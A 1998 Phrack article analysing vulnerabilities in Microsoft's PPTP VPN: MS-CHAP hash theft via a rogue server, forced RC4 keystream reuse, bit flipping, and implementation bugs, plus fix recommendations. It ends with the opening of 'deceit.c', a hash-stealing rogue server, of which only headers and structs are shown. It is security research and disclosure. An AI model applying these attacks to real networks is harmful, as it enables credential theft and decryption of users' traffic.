home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Phrack / Phrack Issue 53.sit / 53 / P53-12 < prev    next >
Text File  |  1998-07-08  |  52KB  |  1,417 lines
  1. ---[  Phrack Magazine   Volume 8, Issue 53 July 8, 1998, article 12 of 15
  2.  
  3.  
  4. -------------------------[  The Crumbling Tunnel
  5.  
  6.  
  7. --------[  aleph1 <aleph1@underground.org>
  8.  
  9.  
  10.                           -[ The Crumbling Tunnel ]-
  11.                     < A Menagerie of PPTP Vulnerabilities >
  12.  
  13.                           by aleph1@underground.org
  14.  
  15.  
  16.     Point-to-Point Tunneling Protocol (PPTP) is a new networking
  17.     technology that allows you to use the Internet as your own secure
  18.     virtual private network (VPN).  PPTP is integrated with the Remote
  19.     Access Services (RAS) server which is built into Windows NT Server.
  20.     With PPTP, your users can dial into a local ISP, or connect directly
  21.     to the Internet, and access their network just as easily and securely
  22.     as if they were at their desks.
  23.  
  24.     < http://www.microsoft.com/communications/pptp.htm >
  25.  
  26.  
  27. -[ p r e f a c e ]-
  28.  
  29. This paper is a compendium of the discussions between myself and a Microsoft
  30. representative during October 1996 and May 1997 on several NT security
  31. mailing lists, the research done by Counterpane System and published in the
  32.  paper "Cryptanalysis of Microsoft's Point-to-Point Tunneling Protocol
  33. (PPTP)" by B. Schneier and P. Mudge on June 1998, and a new vulnerability I
  34. have recently discovered.
  35.  
  36.  
  37. -[ i n t r o d u c t i o n ]-
  38.  
  39. As stated above, the Point-to-Point Tunneling Protocol is Microsoft's attempt
  40. at creating a Virtual Private Network (VPN) protocol.  Given their past
  41. history in developing and implementing protocols, an analysis of PPTP for
  42. security vulnerabilities would certainly be an interesting endeavor.  The
  43. following is such an analysis.
  44.  
  45. Although this analysis is technical in nature, I will not spend the time
  46. describing exactly how each protocol works.  I will assume you have done your
  47. homework and at least briefly glanced over the specifications for each of
  48. the protocols involved.
  49.  
  50. PPTP is really a number of protocols cobbled together to make a whole.  The
  51. players are:
  52.  
  53.   GRE        - The Generic Encapsulation Protocol. The protocol is
  54.               defined in RFC 1701 and RFC 1702.  Microsoft has defined
  55.               their own extensions. They call their modifications
  56.               GRE v2.
  57.  
  58.   PPP        - The Point-to-Point Protocol.  The protocol is defined 
  59.               in RFC 1661.  The protocol is used for the transmission
  60.               of multi-protocol datagrams over point-to-point links.
  61.  
  62.   PPTP        - PPTP uses GRE to tunnel PPP and adds a connections setup
  63.               and control protocol over a TCP session. 
  64.  
  65.   MS-CHAP   - This is Microsoft's variant of the more common PPP CHAP
  66.               authentication protocol.  It is a challenge response
  67.               authentication algorithm.  It supplies the challenge used
  68.               by MPPE (see below) to encrypt the session.  It also has
  69.               two sub-protocols for changing passwords.  It is defined in the
  70.               draft draft-ietf-pppext-mschap-00.txt.
  71.  
  72.   MPPE      - Microsoft's Point-to-Point Encryption protocol.  This is
  73.               the protocol in charge of generating a session key and
  74.               encrypting the session. It is defined in the drafts
  75.               draft-ietf-pppext-mppe-00.txt and  draft-ietf-pppext-mppe-01.txt.
  76.  
  77. < PPTP in a nutshell >
  78.  
  79. PPTP creates a connection setup and control channel using TCP to the PPTP
  80. server (Microsoft's RAS).  Using this connection, PPTP establishes a new GRE
  81. tunnel which will carry PPP packets from the client to the server.  The client
  82. will authenticate to the server via PPP's negotiation mechanism using MS-CHAP
  83. and will then encrypt all PPP data packets using MPPE.
  84.  
  85. Enough acronyms for you?  Lets get dirty.
  86.  
  87.  
  88. -[ P P T P ]-
  89.  
  90. PPTP creates a connection setup and control channel to the server using TCP.
  91. Originally the TCP port used was 5678.  Later on it was changed to 1723.  This
  92. is the IANA assigned port number.  The control connection is not authenticated
  93. in any way.  It is easy for Mallory (the malicious interloper) to take over
  94. the connection via TCP hijacking techniques.  She can then issue Stop Session
  95. Request commands.  This will close the control channel and at the same time all
  96. active calls (tunnels) will be cleared.
  97.  
  98.  
  99. -[ G R E ]-
  100.  
  101. PPP packets are encapsulated in GRE and tunneled on top of IP.  GRE uses IP
  102. protocol number 47.  GRE packets are similar in some respects to TCP segments.
  103. They both may carry a sequence and acknowledgement number.  GRE also uses a
  104. sliding window to avoid congestion.
  105.  
  106. This has some important implications.  It means that if we want to spoof PPP
  107. packets encapsulated in GRE, we will desynchronize the GRE channel.  A
  108. possible way around this is the use of the "S" flag in the GRE header.  This
  109. flag tells the end point if the GRE packet has a sequence number.  It is
  110. possible that a badly coded implementation will accept a GRE packet with data
  111. even if it does not have a sequence number.  This is because in the original
  112. GRE standard the use of sequence numbers was optional.  Furthermore, the
  113. specification does not mention how an end system should act if it receives a
  114. GRE packet with a duplicate sequence number.  It may simply discard it and
  115. send another acknowledgement.  This would mean we do not need to resynchronize
  116. GRE at all.  The other end will send an acknowledgement for the packet we
  117. spoofed and the encapsulated PPP should not become desynchronized.  As of this
  118. writing I haven't yet tested this possibility.
  119.  
  120. It is also interesting to note that the original GRE specification has many
  121. options to do things like source routing which are left as implementation
  122. specific.  If you open a hole in your firewall for GRE just so you can use
  123. PPTP you might be letting in more than you think.  This area needs further
  124. investigation.
  125.  
  126.  
  127. -[ M S - C H A P ]-
  128.  
  129. MS-CHAP is a challenge response protocol.  The server send the client an 8
  130. byte challenge.  The client computes a response by encrypting the challenge
  131. with the NT one way hash and then with the LANMAN one way hash.
  132.  
  133.  
  134. < Dictionary Attack >
  135.  
  136. Like most other challenge/response protocols, this one is vulnerable to a
  137. dictionary by such tools as L0phtcrack.  As Schneier and Mudge describe in
  138. their paper, the LANMAN based response is easier to crack than it normally is
  139. because here it is divided into three pieces which are encrypted independently.
  140. This allows for a speed up in breaking the password.  Please see their paper
  141. for a detailed explanation of the process.
  142.  
  143. The PPTP Performance update for Windows NT 4.0 (PPTP2-FIX) stops the PPTP
  144. Windows NT client from sending the LANMAN hash based response if the client
  145. is configured to use 128-bit encryption.  The same fix also allows the server
  146. to reject PPTP clients that attempt to authenticate using the LANMAN hash
  147. based response.
  148.  
  149.  
  150. < Stealing the Password >
  151.  
  152. MS-CHAP has two sub-protocols for changing password.  In version one the
  153. client encrypts the new and old hashes (NT and LANMAN) with the challenge
  154. the server sent over the wire.  A passive attacker can simply decrypt the
  155. hashes and steal them.
  156.  
  157. Version two encrypts the new hashes with the old hashes and encrypts the old
  158. hashes with the new hashes.  Only the server, which knows the old hashes,
  159. will be able to decrypt the new hashes and use these to decrypt the old
  160. hashes and verify the user's identity.
  161.  
  162. As I recently discovered, this feature of MS-CHAP can be used to steal the
  163. user's password hashes if Mallory can masquerade as the PPTP server.  Several
  164. methods to masquerade as the server come into mind, including DNS hijacking
  165. and RIP spoofing.  Once the unsuspecting user connects to Mallory's rogue
  166. server and attempts to authenticate she will return a ERROR_PASSWD_EXPIRE
  167. error to the user and tell the client to use the older version of the
  168. password change sub-protocol.  The user will then be prompted by the PPTP
  169. client to enter his old and new password.  The client will proceed to send
  170. the new and old password hashes, LANMAN and NT, encrypted with the challenge
  171. the rouge server sent.  Now Mallory can use the hashes to logon into the real
  172. PPTP server and impersonate the user.
  173.  
  174. The MS-CHAP draft deprecates the use of the change password version 1 protocol
  175. but Microsoft's implementation continue to support it.  This vulnerability was
  176. verified using Windows NT's RAS PPTP client with the PPTP Performance Update
  177. (PPTP2-FIX) installed.  At the end you will find some source code that
  178. implements a demonstration PPTP server that asks the user to change passwords
  179. using the older protocol and prints the stolen hashes on the screen.
  180.  
  181.  
  182. -[ M P P E ]-
  183.  
  184. The are two drafts for MPPE. I'll discuss the earlier one first.
  185.  
  186. MPPE uses RC4, a stream cipher, to encrypt the PPP datagrams.  MPPE is
  187. negotiated as a compression protocol as part of PPP's Link Control Protocol
  188. negotiation.
  189.  
  190.  
  191. < Session Keys >
  192.  
  193. MPPE currently supports 40 and 128 bit session keys, although more key lengths
  194. can be defined.  The 40-bit session key is derived from the first 8 bytes of
  195. the LANMAN hash. The session key will be the same for all sessions until the
  196. user changes his password.
  197.  
  198. The 128-bit session key is created by taking the first 16 bytes of the MD4
  199. hash and the first 16 bytes of the NT hash, and then hashing them with the
  200. servers challenge.  Microsoft claims that they hash the NT hash to protect it.
  201. I fail to see their point.  The password hash, nor it's hash, ever go over the
  202. wire.  Why they selected this algorithm remains a mystery.
  203.  
  204. The new MPPE draft adds an option to use a 40-bit key derived from the NT hash.
  205.  
  206. As Schneier and Mudge point out, it is misleading to say MPPE provides
  207. 128-bit, or even 40-bit, security.  The 40-bit LANMAN based session key is
  208. derived from the password only, and as such will have a much lower entropy
  209. than a random 40-bit key.  The 128-bit and 40-bit NT hash based session keys
  210. are derived from both the users password and the server's challenge.
  211. Depending on how good the server's random number generator is, the session
  212. key may have a much lower entropy than 128 or 40 bits.  A study of how
  213. Microsoft's PPTP server, and NT in general, generates random numbers would
  214. be interesting.  The only way to guarantee the full strength of the key is by
  215. generating it with a good RNG.
  216.  
  217.  
  218. < Attacking PPP >
  219.  
  220. As Schneier and Mudge also point, out only PPP packets with protocol numbers
  221. between 0x21 and 0xFA are encrypted (in essence only data packets are
  222. encrypted). In contrast, the PPP Encryption Control Protocol (RFC 1968)
  223. encrypts all packets other than LCP packets after ECP is negotiated.
  224.  
  225. This means Mallory can spoof Network Control Protocol packets with impunity.
  226. It also means she can obtain some useful information by simply sniffing the
  227. NCP packets.  Things like whether the internal network uses IP, IPX, or
  228. NetBIOS, the internal IP address of the PPTP client, NetBIOS names, the IP
  229. address of internal WINS and DNS servers, the clients internal IPX node
  230. number and other things.  Read the IPCP (RFC 13320, NBFCP (RFC 2097) and
  231. IPXCP (RFC 1552) specifications for more information.
  232.  
  233.  
  234. < Breaking RC4 >
  235.  
  236. Stream ciphers, like RC4, are susceptible to attack if two or more plaintexts
  237. are encrypted with the same key.  If you take two ciphertexts encrypted with
  238. the same key and xor them together you will obtain the two plaintexts xor'ed
  239. together.  If you can make an educated guess as to the structure and contents
  240. of part of one of the plaintexts you will be able to obtain the corresponding
  241. plaintext in the other message.
  242.  
  243. MPPE is susceptible to such an attack.  As mentioned above the 40-bit session
  244. key is the same in each session.  Mallory can passively monitor the network
  245. and collect many sessions, all encrypted with the same key that she can then
  246. attempt to break.  The problem is compounded since she has learned things
  247. like the clients internal IP address and its NetBIOS name which will be in
  248. the encrypted packets by monitoring the NCP PPP packets.
  249.  
  250. MPPE uses the same key in each direction.  For each session at least two
  251. packets, one inbound and one outbound, will be encrypted with the same key.
  252. In this way, even traffic protected by the 128-bit unique session key can be
  253. attacked.
  254.  
  255. MPPE being a sub-protocol of PPP, a datagram protocol, does not expect a
  256. reliable link.  Instead it maintains a 12-bit coherency count that is
  257. increased for each packet to keep the encryption tables synchronized.  Each
  258. time the low order byte of the coherency count equals 0xFF (every 256 packets)
  259. the session key is regenerated based on the original session key and the
  260. current session key.
  261.  
  262. If MPPE ever sees a packet with a coherency that it is not expecting it
  263. sends a CCP Reset-Request packet to the other end.  The other end, upon seeing
  264. this packet, will re-initialize the RC4 tables using the current session key.
  265. The next packet it sends will have the flushed bit set.  This bit will
  266. indicate to the other end that it should re-initialize its own tables.  In
  267. this way they become resynchronized.  This mode of operation is called
  268. "stateful mode" in the new MPPE draft.
  269.  
  270. What does this all mean to us?  Well, it means we can force both ends of the
  271. connection to keep encrypting their packets with the same key until the low
  272. order sequence number reaches 0xFF.  For example assume Alice and Bob have
  273. just set up the communication channel.  They both have initialized their
  274. session keys and expect a packet with a coherency count of zero.
  275.  
  276. Alice           ->      Bob
  277.  
  278. Alice sends Bob a packet numbered zero encrypted with the cipher stream
  279. generated by the RC4 cipher and increments her sent coherency count to one.
  280. Bob receives the packet, decrypts it, and increments his receive coherency
  281. count to 1.
  282.  
  283. Mallory (Bob)   ->      Alice
  284.  
  285. Mallory sends Alice a spoofed (remember this is datagram protocol - assuming
  286. we don't desynchronize GRE) CCP Reset-Request packet.  Alice immediately
  287. re-initializes her RC4 tables to their original state.
  288.  
  289. Alice           ->      Bob
  290.  
  291. Alice sends another packet to Bob.  This packet will be encrypted with the
  292. same cipherstream as the last packet.  The packet will also have the FLUSHED
  293. bit set.  This will make Bob re-initialize its own RC4 tables.
  294.  
  295. Mallory can continue to play this game up to a total of 256 times after
  296. which the session key will be changed.  By this point Mallory will have
  297. collected 256 packets from Alice to Bob all encrypted with the same cipher
  298. stream.
  299.  
  300. Furthermore, since Alice and Bob start with the same session key in each
  301. direction Mallory can play the same game in the opposite direction collecting
  302. another 256 packets encrypted with the same cipher stream as the ones going
  303. from Alice to Bob.
  304.  
  305. The Apr 1998 version of the draft adds a "stateless mode" option (otherwise
  306. known as "historyless mode" in some Microsoft literature) to the negotiation
  307. packets.  This option tells MPPE to change the session key after every packet
  308. and to ignore all this CCP Reset-Request and flushed bit business.  This
  309. option was introduced to improve PPTP's performance.  Although re-keying
  310. after each packet cuts the cipher performance by almost half, now PPTP no
  311. longer has to wait a whole round trip time to resynchronize.  This, in effect
  312. improves the performance of PPTP and at the same time made the attack I
  313. describe above useless.
  314.  
  315. This new stateless mode was incorporated in the PPTP Performance Update for
  316. Windows NT 4.0 (PPTP2-FIX).
  317.  
  318.  
  319. < Bit Flipping >
  320.  
  321. Schneier and Mudge describe a bit flipping attack in their paper.  Because of
  322. the properties of the RC4 cipher as used within MPPE an attacker can flip
  323. bits in the ciphertext that will be decrypted correctly by MPPE.  In this way
  324. an attacker can modify encrypted packets while they are in transit.
  325.  
  326.  
  327. -[ i m p l e m e n t a t i o n   b u g s ]-
  328.  
  329. Schneier and Mudge describe a number of implementation bugs in Microsoft's
  330. PPTP control channel that crashed Windows NT with the Blue Screen of Death.
  331. Keving Wormington has found similar problem as posted some demonstration
  332. code to the BugTraq mailing list in Nov 1997.  Microsoft claims to have fixed
  333. this or similar problems in their PPTP-FIX hotfix.
  334.  
  335. Schneier and Mudge also found that the Windows 95 client does not zero fill
  336. its buffers and leaks information in its protocol packets.
  337.  
  338. A bug in the PPTP server allows clients to remain connected while packets
  339. are transmitted in the clear if the encryption negotiation between the
  340. client and server fails.  This problem is documented in Microsoft's Knowledge
  341. Base article Q177670.  They claim to have fixed it in the PPTP-FIX hotfix.
  342.  
  343. -[ f i x i n g   t h i n g s ]-
  344.  
  345. It is interesting to note that Microsoft has chosen to omit certain
  346. vulnerabilities from their response to the Counterpane paper.  Let's summarize
  347. them here so they don't get confused:
  348.  
  349. ---> The control connection is not authenticated.
  350.  
  351.    Microsoft claims they will enhance the control channel in future updates
  352.    to authenticate each control packet.
  353.  
  354. ---> The MS-CHAP LANMAN hash response is vulnerable to a dictionary attack
  355. ---| that can be speed up enormously.
  356.  
  357.    The PPTP Performance Update for Windows NT 4.0 has added the option
  358.    to reject PPTP clients that attempt to use the LANMAN based response.
  359.    It also stops the Windows NT PPTP client from sending the LANMAN
  360.    based response when it is configured to require 128-bit encryption.
  361.    This is of little comfort to non-US customers that cannot use the
  362.    128-bit version of the software.  Microsoft claims to be testing
  363.    a Windows 95 client update, possibly DUN 1.3, that will stop clients
  364.    from sending the LANMAN response.  The only way for Microsoft to 
  365.    completely get rid of the 40-bit LANMAN hash based key and support
  366.    non-US customers is for them to implement the 40-bit NT hash based
  367.    session key introduced in the second MPPE draft.
  368.    
  369. ---> The MS-CHAP NT hash response is vulnerable to a dictionary attack.
  370.  
  371.    They must not use the password for authentication. Some sort of
  372.    public key protocol would fix the problem.
  373.  
  374. ---> A attacker can steal a users password hashes via the MS-CHAP password
  375. ---| change protocol version one.
  376.  
  377.    They update all the clients to stop responding to password change
  378.    requests using version one of the protocol.
  379.  
  380. ---> The 40-bit LANMAN hash based session key is the same across sessions.
  381. ---> MPPE does not provide true 128-bit or 40-bit security.
  382.  
  383.    Microsoft simply recommends that customers enforce a strong password 
  384.    policy. They should instead modify PPTP to generate truly random
  385.    keys. 
  386.  
  387. ---> MPPE does not encrypt Network Control Protocol PPP packets.
  388.  
  389.    NCP packets should be encrypted.
  390.  
  391. ---> MPPE uses the same key in both directions.
  392.  
  393.    Each direction must be started with a different key.
  394.  
  395. ---> MPPE is vulnerable to a Reset-Request attack.
  396.  
  397.    Microsoft has fixed this problem in the latest PPTP draft by introducing
  398.    the stateless mode. The PPTP Performance Update for Windows NT 4.0 
  399.    implements this mode of operation. There is no solution for Windows 95 yet.
  400.    This means that if you have Windows 95 PPTP clients you are still vulnerable.
  401.  
  402. ---> MPPE is vulnerable to bit flipping attacks.
  403.  
  404.    They must add a MAC to each packet or use a cipher other than RC4 that
  405.    does not exhibit this property.
  406.  
  407. ---> There are a number of denial of service and other vulnerabilities 
  408. ---| caused by implementation errors.
  409.  
  410.    Microsoft claims to have fixed some of this problems with 
  411.    PPTP-FIX and PPTP2-FIX.
  412.  
  413. At least Microsoft should produce an Windows NT and Windows 95 PPTP update
  414. that does not use the same session keys in each direction, that does not
  415. support MS-CHAP password change protocol version one, does not send the send
  416. to LANMAN based response and supports the 40-bit NT hash based session key.
  417.  
  418.  
  419. -[ f u t u r e   d i r e c t i o n s ]-
  420.  
  421. Microsoft's VPN strategy appears to be moving away from PPTP and going to
  422. Layer Two Tunneling Protocol (L2TP) and IPsec.  L2TP (currently an IETF
  423. draft) is a compromise between Cisco's Layer Two Forwarding (L2F), (a
  424. competing protocol) and PPTP.  This is certain to take a long time and they
  425. will probably support PPTP for backwards compatibility.
  426.  
  427. L2TP is somewhat similar to PPTP.  L2TP uses UDP instead of GRE to tunnel the
  428. PPP packets.  Connection setup and control packets are carried within UDP.
  429. The protocol provides for the authentication of the control session via a
  430. shared secret and a challenge/response exchange.  It also provides the for
  431. the hiding of sensitive information, such as username and password, by
  432. encrypting it.
  433.  
  434. Other than those simply security mechanism L2TP does not provide any
  435. security.  To operate L2TP in a secure manner you must use it with either
  436. IPsec to provide authentication and confidentiality of all IP packets, or by
  437. using PPP layer security.  If the former is chosen beware that the control
  438. packets can be spoofed after the authentication phase.
  439.  
  440. If Microsoft decides to go with the later choice (possible because Windows
  441. 98 will not have support for IPsec), they are well advised not to use MPPE
  442. and MS-CHAP as this would make L2TP almost as vulnerable as PPTP.  They would
  443. do better implementing ECP and some of the PPP Extensible Authentication
  444. Protocol (RFC 2284) options.
  445.  
  446. For a discussion of L2TP security read the Security Considerations section
  447. of the L2TP draft.
  448.  
  449.  
  450. -[ m i s c e l l a n e o u s ]-
  451.  
  452. The are a few interesting projects related to PPTP.
  453.  
  454. -> Linux PPTP Masquerading
  455. < http://bmrc.berkeley.edu/people/chaffee/linux_pptp.html >
  456.  
  457. Here you will find patches to the Linux kernel to support masquerading of
  458. PPTP connections.
  459.  
  460. -> PPTP Client for Linux
  461. < http://www.pdos.lcs.mit.edu/~cananian/Projects/PPTP/ >
  462.  
  463. Here you will find a free PPTP client implementation for Linux that should
  464. be easy to port to other platforms.
  465.  
  466.  
  467. -[ s u m m a r y ]-
  468.  
  469. PPTP is a layer two tunneling protocol designed by Microsoft and some other
  470. vendors.  The protocol and in particular Microsoft's implementation have a
  471. number of vulnerabilities not completely fixed by the their latest software
  472. patches and draft revisions.
  473.  
  474. PPTP will most likely stop most amateurs but by no means provides air tight
  475. security.  If you have some serious security needs we recommend you look at
  476. some other solution.
  477.  
  478. The Layer Two Tunneling Protocol being defined within the IETF evolved from
  479. PPTP and Cisco's Layer Two Forwarding.  It has obviously benefited from the
  480. peer review it has had within the IETF as it looks like much better protocol
  481. than PPTP.  If combined with IPsec, L2TP looks like a promising solution.
  482.  
  483.  
  484. -[ r e f e r e n c e s ]-
  485.  
  486. Cryptanalysis of Microsoft's Point-to-Point Tunneling Protocol (PPTP)
  487. by B. Schneier and P. Mudge
  488. < http://www.counterpane.com/pptp.html >
  489.  
  490. Generic Routing Encapsulation (GRE) (RFC 1701)
  491. < ftp://ds.internic.net/rfc/rfc1701.txt >
  492.  
  493. Generic Routing Encapsulation over IPv4 networks (RFC 1702)
  494. < ftp://ds.internic.net/rfc/rfc1702.txt >
  495.  
  496. Layer Two Tunneling Protocol "L2TP" (May 1996)
  497. < http://www.ietf.org/internet-drafts/draft-ietf-pppext-l2tp-11.txt >
  498.  
  499. Microsoft Point-To-Point Encryption (MPPE) Protocol (March 1998)
  500. < http://www.apocalypse.org/pub/internet-drafts/draft-ietf-pppext-mppe-00.txt >
  501.  
  502. Microsoft Point-To-Point Encryption (MPPE) Protocol (April 1998)
  503. < http://www.ietf.org/internet-drafts/draft-ietf-pppext-mppe-01.txt >
  504.  
  505. Microsoft PPP CHAP Extensions
  506. < http://www.ietf.org/internet-drafts/draft-ietf-pppext-mschap-00.txt >
  507.  
  508. Point-to-Point Tunneling Protocol 
  509. < http://www.microsoft.com/communications/pptp.htm >
  510.  
  511. Point-to-Point Tunneling Protocol (PPTP) Technical Specification (Feb, 22 1996)
  512. < http://hooah.com/workshop/prog/prog-gen/pptp.htm >
  513.  
  514. Point-to-Point Tunneling Protocol--PPTP (Draft July 1997)
  515. < http://www.microsoft.com/communications/exes/draft-ietf-pppext-pptp-01.txt >
  516.  
  517. PPTP and Implementation of Microsoft Virtual Private Networking
  518. < http://www.microsoft.com/communications/nrpptp.htm >
  519.  
  520. PPTP Performance Update for Windows NT 4.0 Release Notes
  521. < http://support.microsoft.com/support/kb/articles/q167/0/40.asp >
  522.  
  523. PPTP Security - An Update
  524. < http://www.microsoft.com/communications/pptpfinal.htm >
  525.  
  526. RRAS Does Not Enforce String Encryption for DUN Clients
  527. < http://support.microsoft.com/support/kb/articles/q177/6/70.asp >
  528.  
  529. STOP 0x0000000A in Raspptpe.sys on a Windows NT PPTP Server
  530. < http://support.microsoft.com/support/kb/articles/q179/1/07.asp >
  531.  
  532. The Point-to-Point Protocol (PPP) (RFC 1661)
  533. < ftp://ftp.isi.edu/in-notes/rfc1661.txt >
  534.  
  535. The PPP DES Encryption Protocol (DESE) (RFC 1969)
  536. < ftp://ftp.isi.edu/in-notes/rfc1969.txt >
  537.  
  538. The PPP Encryption Control Protocol (ECP) (RFC 1968)
  539. < ftp://ftp.isi.edu/in-notes/rfc1968.txt >
  540.  
  541. The PPP Internetwork Packet Exchange Control Protocol (IPXCP) 9rFC 1552)
  542. < ftp://ftp.isi.edu/in-notes/rfc1552.txt >
  543.  
  544. The PPP NetBIOS Frames Control Protocol (NBFCP) (RFC 2097)
  545. < ftp://ftp.isi.edu/in-notes/rfc2097.txt >
  546.  
  547. ---------------------8<------------CUT-HERE----------->8---------------------
  548.  
  549. <++> PPTP/deceit.c
  550. /*
  551.  * deceit.c by Aleph One
  552.  *
  553.  * This program implements enough of the PPTP protocol to steal the
  554.  * password hashes of users that connect to it by asking them to change
  555.  * their password via the MS-CHAP password change protocol version 1.
  556.  *
  557.  * The GRE code, PPTP structures and defines were shamelessly stolen from
  558.  * C. Scott Ananian's <cananian@alumni.princeton.edu> Linux PPTP client
  559.  * implementation.
  560.  *
  561.  * This code has been tested to work againts Windows NT 4.0 with the 
  562.  * PPTP Performance Update. If the user has selected to use the same
  563.  * username and password as the account they are currently logged in
  564.  * but enter a different old password when the PPTP client password
  565.  * change dialog box appears the client will send the hash for a null
  566.  * string for both the old LANMAN hash and old NT hash.
  567.  *
  568.  * You must link this program against libdes. Email messages asking how 
  569.  * to do so will go to /dev/null.
  570.  *
  571.  * Define BROKEN_RAW_CONNECT if your system does not know how to handle
  572.  * connect() on a raw socket. Normally if you use connect with a raw
  573.  * socket you should only get from the socket IP packets with the
  574.  * source address that you specified to connect(). Under HP-UX using
  575.  * connect makes read never to return. By not using connect we
  576.  * run the risk of confusing the GRE decapsulation process if we receive
  577.  * GRE packets from more than one source at the same time.
  578.  */
  579.  
  580. #include <stdio.h>
  581. #include <sys/time.h>
  582. #include <netinet/in.h>
  583. #include <sys/socket.h>
  584. #include <signal.h>
  585. #include <unistd.h>
  586.  
  587. #include "des.h"
  588.  
  589. #ifdef __hpux__
  590. #define u_int8_t uint8_t
  591. #define u_int16_t uint16_t
  592. #define u_int32_t uint32_t
  593. #endif
  594.  
  595. /* define these as appropiate for your architecture */
  596. #define hton8(x)  (x)
  597. #define ntoh8(x)  (x)
  598. #define hton16(x) htons(x)
  599. #define ntoh16(x) ntohs(x)
  600. #define hton32(x) htonl(x)
  601. #define ntoh32(x) ntohl(x)
  602.  
  603. #define PPTP_MAGIC 0x1A2B3C4D /* Magic cookie for PPTP datagrams */
  604. #define PPTP_PORT  1723       /* PPTP TCP port number            */
  605. #define PPTP_PROTO 47         /* PPTP IP protocol number         */
  606.  
  607. #define PPTP_MESSAGE_CONTROL            1
  608. #define PPTP_MESSAGE_MANAGE             2
  609.  
  610. #define PPTP_VERSION_STRING     "1.00"
  611. #define PPTP_VERSION            0x100
  612. #define PPTP_FIRMWARE_STRING    "0.01"
  613. #define PPTP_FIRMWARE_VERSION   0x001
  614.  
  615. /* (Control Connection Management) */
  616. #define PPTP_START_CTRL_CONN_RQST       1
  617. #define PPTP_START_CTRL_CONN_RPLY       2
  618. #define PPTP_STOP_CTRL_CONN_RQST        3
  619. #define PPTP_STOP_CTRL_CONN_RPLY        4
  620. #define PPTP_ECHO_RQST                  5
  621. #define PPTP_ECHO_RPLY                  6
  622.  
  623. /* (Call Management) */
  624. #define PPTP_OUT_CALL_RQST              7
  625. #define PPTP_OUT_CALL_RPLY              8
  626. #define PPTP_IN_CALL_RQST               9
  627. #define PPTP_IN_CALL_RPLY               10
  628. #define PPTP_IN_CALL_CONNECT            11
  629. #define PPTP_CALL_CLEAR_RQST            12
  630. #define PPTP_CALL_CLEAR_NTFY            13
  631.  
  632. /* (Error Reporting) */
  633. #define PPTP_WAN_ERR_NTFY               14
  634.  
  635. /* (PPP Session Control) */
  636. #define PPTP_SET_LINK_INFO              15
  637.  
  638. /* (Framing capabilities for msg sender) */
  639. #define PPTP_FRAME_ASYNC        1
  640. #define PPTP_FRAME_SYNC         2
  641. #define PPTP_FRAME_ANY          3
  642.  
  643. /* (Bearer capabilities for msg sender) */
  644. #define PPTP_BEARER_ANALOG      1
  645. #define PPTP_BEARER_DIGITAL     2
  646. #define PPTP_BEARER_ANY         3
  647.  
  648. struct pptp_header {
  649.   u_int16_t length;       /* message length in octets, including header */
  650.   u_int16_t pptp_type;    /* PPTP message type. 1 for control message.  */
  651.   u_int32_t magic;        /* this should be PPTP_MAGIC.                 */
  652.   u_int16_t ctrl_type;    /* Control message type (0-15)                */
  653.   u_int16_t reserved0;    /* reserved.  MUST BE ZERO.                   */
  654. };
  655.  
  656. struct pptp_start_ctrl_conn { /* for control message types 1 and 2 */
  657.   struct pptp_header header;
  658.  
  659.   u_int16_t version;      /* PPTP protocol version.  = PPTP_VERSION     */
  660.   u_int8_t  result_code;  /* these two fields should be zero on rqst msg*/
  661.   u_int8_t  error_code;   /* 0 unless result_code==2 (General Error)    */
  662.   u_int32_t framing_cap;  /* Framing capabilities                       */
  663.   u_int32_t bearer_cap;   /* Bearer Capabilities                        */
  664.   u_int16_t max_channels; /* Maximum Channels (=0 for PNS, PAC ignores) */
  665.   u_int16_t firmware_rev; /* Firmware or Software Revision              */
  666.   u_int8_t  hostname[64]; /* Host Name (64 octets, zero terminated)     */
  667.   u_int8_t  vendor[64];   /* Vendor string (64 octets, zero term.)      */
  668.   /* MS says that end of hostname/vendor fields should be filled with   */
  669.   /* octets of value 0, but Win95 PPTP driver doesn't do this.          */
  670. };
  671.  
  672. struct pptp_out_call_rqst { /* for control message type 7 */
  673.   struct pptp_header header;
  674.   u_int16_t call_id;      /* Call ID (unique id used to multiplex data)  */
  675.   u_int16_t call_sernum;  /* Call Serial Number (used for logging)       */
  676.   u_int32_t bps_min;      /* Minimum BPS (lowest acceptable line speed)  */
  677.   u_int32_t bps_max;      /* Maximum BPS (highest acceptable line speed) */
  678.   u_int32_t bearer;       /* Bearer type                                 */
  679.   u_int32_t framing;      /* Framing type                                */
  680.   u_int16_t recv_size;    /* Recv. Window Size (no. of buffered packets) */
  681.   u_int16_t delay;        /* Packet Processing Delay (in 1/10 sec)       */
  682.   u_int16_t phone_len;    /* Phone Number Length (num. of valid digits)  */
  683.   u_int16_t reserved1;    /* MUST BE ZERO                                */
  684.   u_int8_t  phone_num[64]; /* Phone Number (64 octets, null term.)       */
  685.   u_int8_t subaddress[64]; /* Subaddress (64 octets, null term.)         */
  686. };
  687.  
  688. struct pptp_out_call_rply { /* for control message type 8 */
  689.   struct pptp_header header;
  690.   u_int16_t call_id;      /* Call ID (used to multiplex data over tunnel)*/
  691.   u_int16_t call_id_peer; /* Peer's Call ID (call_id of pptp_out_call_rqst)*/
  692.   u_int8_t  result_code;  /* Result Code (1 is no errors)                */
  693.   u_int8_t  error_code;   /* Error Code (=0 unless result_code==2)       */
  694.   u_int16_t cause_code;   /* Cause Code (addt'l failure information)     */
  695.   u_int32_t speed;        /* Connect Speed (in BPS)                      */
  696.   u_int16_t recv_size;    /* Recv. Window Size (no. of buffered packets) */
  697.   u_int16_t delay;        /* Packet Processing Delay (in 1/10 sec)       */
  698.   u_int32_t channel;      /* Physical Channel ID (for logging)           */
  699. };
  700.  
  701.  
  702. struct pptp_set_link_info {   /* for control message type 15 */
  703.   struct pptp_header header;
  704.   u_int16_t call_id_peer; /* Peer's Call ID (call_id of pptp_out_call_rqst) */
  705.   u_int16_t reserved1;    /* MUST BE ZERO                                   */
  706.   u_int32_t send_accm;    /* Send ACCM (for PPP packets; default 0xFFFFFFFF)*/
  707.   u_int32_t recv_accm;    /* Receive ACCM (for PPP pack.;default 0xFFFFFFFF)*/
  708. };
  709.  
  710. #define PPTP_GRE_PROTO  0x880B
  711. #define PPTP_GRE_VER    0x1
  712.  
  713. #define PPTP_GRE_FLAG_C 0x80
  714. #define PPTP_GRE_FLAG_R 0x40
  715. #define PPTP_GRE_FLAG_K 0x20
  716. #define PPTP_GRE_FLAG_S 0x10
  717. #define PPTP_GRE_FLAG_A 0x80
  718.  
